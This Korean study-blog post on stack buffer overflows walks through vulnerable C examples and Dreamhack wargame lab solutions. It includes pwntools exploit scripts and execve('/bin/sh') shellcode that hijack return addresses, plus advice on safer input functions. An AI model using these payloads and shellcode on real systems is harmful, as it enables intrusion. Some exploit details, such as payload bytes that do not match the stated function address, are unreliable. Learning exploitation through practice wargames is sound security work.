[Week2] System Hacking Study - Stack Buffer Overflow
시스템 해킹 스터디 2주차 🖥️
Memory Corruption: Stack Buffer Overflow
서론
스택 오버플로우는 스택 영역이 너무 많이 확장되어 발생하는 버그이고, 스택 버퍼 오버플로우는 버퍼에 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그이다.
스택 버퍼 오버플로우
버퍼 오버플로우
스택 버퍼 오버플로우란 스택의 버퍼에서 발생하는 오버플로우를 의미한다.
버퍼: 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소
- 데이터의 처리속도가 다른 두 장치가 있을 경우, 오가는 데이터를 임시로 저장해두는 기능을 한다.
버퍼 오버플로우: 버퍼가 넘치는 것.
- 일반적으로 버퍼는 메모리 상에서 연속적으로 할당되어 있으므로, 버퍼 오버플로우가 발생하면 뒤의 버퍼의 값이 조작될 수 있다.
버퍼 오버플로우 공격 예시
중요 데이터 변조
-
버퍼 오버플로우 발생 버퍼 뒤에 중요한 데이터가 있다면, 해당 데이터의 변조로 인해 문제가 발생할 수 있다.
// Name: sbof_auth.c // Compile: gcc -o sbof_auth sbof_auth.c -fno-stack-protector #include <stdio.h> #include <stdlib.h> #include <string.h> int check_auth(char *password) { int auth = 0; char temp[16]; strncpy(temp, password, strlen(password)); if(!strcmp(temp, "SECRET_PASSWORD")) auth = 1; return auth; } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: ./sbof_auth ADMIN_PASSWORD\n"); exit(-1); } if (check_auth(argv[1])) printf("Hello Admin!\n"); else printf("Access Denied!\n"); } -
위 코드에서
check_auth()에서는 16바이트의 temp 버퍼를 지정하나,main()에서 인자로 16바이트가 넘는 데이터를 받을 경우, strncpy가 password의 크기만큼 복사하기 때문에 버퍼 오버플로우가 발생된다.
데이터 유출
- 정상적인 문자열은 null 바이트로 종결되며, 표준 문자열 출력 함수는 null 바이트를 기준으로 문자열을 인식한다.
- 그러나, 버퍼 오버플로우를 발생시켜서 다른 버퍼와의 사이에 있는 null 바이트를 모두 제거한다면, 해당 버퍼를 출력함과 동시에 데이터 유출이 가능해진다.
// Name: sbof_leak.c // Compile: gcc -o sbof_leak sbof_leak.c -fno-stack-protector #include <stdio.h> #include <string.h> #include <unistd.h> int main() { char secret[16] = "secret message"; char barrier[4] = {}; char name[8] = {}; memset(barrier, 0, 4); printf("Your name: "); read(0, name, 12); printf("Your name is %s.", name); } - 위 코드는 8바이트 크기의
name버퍼에read()를 통해 12바이트를 입력 받는다.secret과의 사이에 존재하는barrier를 문자열로 덮어씌워 null 바이트를 제거한다면, 데이터 유출이 가능하다.
실행 흐름 조작
- 함수 호출 시 저장한 반환 주소가 저장된 버퍼를 버퍼 오버플로우를 통해 변조하는 것이다.
// Name: sbof_ret_overwrite.c // Compile: gcc -o sbof_ret_overwrite sbof_ret_overwrite.c -fno-stack-protector #include <stdio.h> #include <unistd.h> void win() { printf("You won!\n"); } int main(void) { char buf[8]; printf("Overwrite return address with %p:\n", &win); read(0, buf, 32); return 0; } - 위 코드에서
win()의 주소를 알아낸 뒤, 8바이트 버퍼인buf에 32바이트 입력을 받고 있으므로,buf의 8바이트 +saved RBP값 8바이트 = 총 16바이트를 문자열로 채운 뒤,win()의 주소를 이어서 작성하면 된다.
Lab: Stack Buffe Overflow - Auth Overwrite
- password 16바이트, auth와의 패딩 12바이트를 고려하여 ‘A’로 28바이트를 채운 뒤, 리틀엔디안을 적용하여 /x01/x00/x00/x00을 추가로 입력하면 성공한다.
Lab: Stack Buffe Overflow - Memory Leak
- name 8바이트, barrier 4바이트를 고려하여 ‘A’로 12바이트를 입력하면 성공한다.
Lab: Stack Buffe Overflow - Change Control Flow
- buf 8바이트, sfp 8바이트를 고려하여 ‘A’로 16바이트를 채운 뒤, 리틀엔디안을 적용하여 /xee/x10/x04/x00/x00/x00/x00/x00을 추가로 입력하면 성공한다.
Exploit Tech: Return Address Overwrite
분석
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf); // 여기서 입력 길이를 제한하지 않는다.
return 0;
}
- 위 코드와 같은 취약점을 방지하기 위해서는
%s대신%[n]s를 사용하여 제한을 두어야 한다.- 동일한 취약점을 가진 함수는 버퍼를 다루나, 길이를 함께 입력하지 않는 것들이다.
코어 파일 분석
$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000400729 in main ()
...
pwndbg>
- 위 코어 파일을 확인하면, 0x400729에서 세그멘테이션 폴트가 발생한 것을 확인할 수 있다. 해당 부분이 ret임을 의미하므로, 이 공간에 적절하게 입력을 주면 된다.
익스플로잇
스택 프레임 구조 파악
시스템 보안(1) - 프롤로그/에필로그, 호출 규약, BOF, 보호 기법
이 부분에 대한 내용은 이전에 그린 그림을 첨부하여 작성했던 포스트를 첨부합니다.
get_shell() 주소 확인
$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit
- gdb에 위와 같이 명령어를 작성하면 원하는 함수의 주소를 알 수 있다.
취약점 패치
- gets(buf)
- 입력받는 길이에 제한 없음
- 버퍼의 null 종결을 보장하지 않음
- scanf(“%s”, buf)
- 입력받는 길이에 제한 없음
- 버퍼의 null 종결을 보장하지 않음
- scanf(“%[width]s”, buf)
- width 값이 적절하지 않으면 오버플로우 발생 가능
- 버퍼의 null 종결을 보장하지 않음
- fgets(buf, len, stream)
- len 값이 적절하지 않으면 오버플로우 발생 가능
- 버퍼의 null 종결을 보장함
- 데이터 유실 주의
Exploit Tech: Return Address Overwrite
rao.c를 컴파일 한 뒤, gdb를 통해 실행시킨 결과 main()을 위해 할당된 스택의 크기는 0x30임을 알 수 있다.
그러면 이를 통해 알 수 있는 것은 스택프레임의 구조가 buf(0x30) + SFP(0x8) + ret(0x8)이라는 것이다.
이제 get_shell()의 주소를 찾아보자.
print get_shell
get_shell()의 주소는 0x4006aa이다.
이제 이를 사용하여 pwntool을 사용한 익스플로잇 코드를 구성한다.
from pwn import *
p = remote("host8.dreamhack.games", 14637)
context.arch = "amd64"
payload = b'A'*0x38 + b'\xaa\x60\x04\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()
실행시키면, 아래와 같이 플래그를 확인할 수 있다.
Exercise: basic_exploitation_000
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
- 위 코드를 살펴보면, 실행시켰을 경우
buf의 주소 값을 알려준다. 이 때,buf의 크기를0x80으로 선언했음에 반해scanf에서는141만큼의 width을 받는다.- 따라서 버퍼오버플로우를 일으켜,
buf에 처음에는 쉘코드를,ret에는 buf의 주소를 적으면 작동될 것이다.
- 따라서 버퍼오버플로우를 일으켜,
-
main을 디스어셈블하면 0x80만큼의 buf 공간이 있는 것을 확인할 수 있다.
-
또한, 이 바이너리는 32bit로 빌드 되었으므로, SFP가 4바이트이다.
from pwn import *
p = remote("host8.dreamhack.games", 19945)
context.arch = "i386"
p.recvuntil(b"buf = ")
buf = eval(p.recvline())
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload = shellcode + b'A' * (0x80 - len(shellcode)) + b'A'*4 + p32(buf)
p.sendline(payload)
p.interactive()
- 위처럼 페이로드를 구성하여 실행시키면 아래와 같이 플래그를 얻을 수 있다.
Exercise: basic_exploitation_001
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
- 위 코드를 살펴보면,
gets()에 받아들이는 버퍼 제한이 없기 때문에 버퍼 오버플로우를 발생 시킬 수 있으며,read_flag()를 실행시켜야함을 알 수 있다. - 또한, 이 문제의 경우에도 32bit로 빌드되어
SFP가 4바이트이다.
-
gdb를 통해
buf의 크기는0x80,read_flag()의 주소는0x80485b9임을 확인할 수 있다. -
위 내용들을 바탕으로 pwntool을 활용하여 스크립트를 구성한다.
from pwn import *
p = remote("host8.dreamhack.games", 8330)
context.arch = "amd64"
payload = b'A'*0x84 + p32(0x80485b9)
p.sendline(payload)
p.interactive()
- 위 스크립트를 실행시켜주면 아래와 같이 플래그를 얻을 수 있다.